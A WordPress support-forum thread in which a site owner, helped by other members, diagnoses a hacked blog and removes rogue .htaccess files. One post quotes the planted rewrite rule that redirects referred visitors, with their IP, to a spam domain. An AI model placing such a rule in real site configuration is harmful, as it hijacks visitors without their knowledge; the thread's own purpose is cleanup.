WordPress.org

Ready to get started?Download WordPress

Forums

WordPress blog appearing as HTML only (19 posts)

  1. morrish
    Member
    Posted 3 years ago #

    For some reason, my WordPress blog started appearing only as HTML, with no images. The admin pages are in the proper style, but they also have no images. I have tried upgrading the entire installation, but to no effect. Any suggestions?

  2. paulOr
    Member
    Posted 3 years ago #

    Could you give a link?

  3. morrish
    Member
    Posted 3 years ago #

  4. paulOr
    Member
    Posted 3 years ago #

    Its the stylesheet

    http://www.johnmorrish.com/wordpress/wp-content/themes/default/style.css

    If you go there you can see it redirects you to some spam website, you need to open up the stylesheet and make sure there is nothing in there that isnt support to be, I would also check your .htaccess file to make sure there are no redirects on the stylesheet url.

    Also, open up header & footer php files and check for anything in their that is redirecting traffic.

  5. morrish
    Member
    Posted 3 years ago #

    I've had a look at it but I can't see that redirect in the stylesheet. What should I be looking for? The .htaccess file at the top of wp-content says this:
    RewriteEngine On
    RewriteCond %{HTTP_REFERER} ^http://
    RewriteCond %{HTTP_REFERER} !%{HTTP_HOST}
    RewriteRule . http://g-oogl-e.com/%{REMOTE_ADDR}

    That doesn't look right to me. Do I even need a .htaccess file?

  6. paulOr
    Member
    Posted 3 years ago #

    the g-oogl-e.com link is what i was seeing :)

    Delete the htaccess file all together - Go through the wp-admin > general settings and it will create a new one for you.

  7. morrish
    Member
    Posted 3 years ago #

    Hurray, it's fixed. Thank you very much for your help.

  8. morrish
    Member
    Posted 3 years ago #

    Oh no, I tell a lie. It still can't find any images.

  9. paulOr
    Member
    Posted 3 years ago #

    Image URLs are doing the same thing, check the .htaccess file again, i'd also check your functions.php file for anything in there.

  10. morrish
    Member
    Posted 3 years ago #

    There are similarly dodgy .htaccess files in uploads and image folders. But when I try to delete them I get a message saying "server file error; operation not permitted". How do I get round that?

  11. paulOr
    Member
    Posted 3 years ago #

    If you are on a cPanel web host, try going in via cPanel > File Manager and doing it like that, most control panels have these things so don't worry if you don't have cPanel.

    You want to be deleting all these .htaccess files though.

    Alternatively email your web host and ask them to go in and delete them for you if your still unable to do it.

  12. morrish
    Member
    Posted 3 years ago #

    No, I'm not on a cPanel host. Is there no way of doing it by ftp?

  13. paulOr
    Member
    Posted 3 years ago #

    If clicking delete on it doesn't work then check the permissions on it, make them read/write and then try delete.

  14. morrish
    Member
    Posted 3 years ago #

    permissions on both folders and files are 755, which should let me as owner delete them, shouldn't it?

  15. larssonk22
    Member
    Posted 3 years ago #

    Having the exact same thing happen to me. html files for all my page appear, wordpress files are slowly deleted.

    I've gone back changed the password usernames for wordpress and my ftp just incase it's hacked.

  16. esmi
    Forum Moderator
    Posted 3 years ago #

    Please post a new topic.

  17. morrish
    Member
    Posted 3 years ago #

    Yes larssonk22, you should really start a new topic, but just to conclude my saga: I backed up my entire installation, removed all the .htaccess files by hand, then uploaded the lot to a new and more professional hosting company. It worked for me.

  18. larssonk22
    Member
    Posted 3 years ago #

    I've done the same (exception of changing host I'm already on godaddy) If the problem arises again I'll create a new thread.

  19. morrish
    Member
    Posted 3 years ago #

    My host effectively went bust but left all the sites up, not maintaining proper security or answering tech support inquiries. The new one is much better.

Topic Closed

This topic has been closed to new replies.

About this Topic

Tags

No tags yet.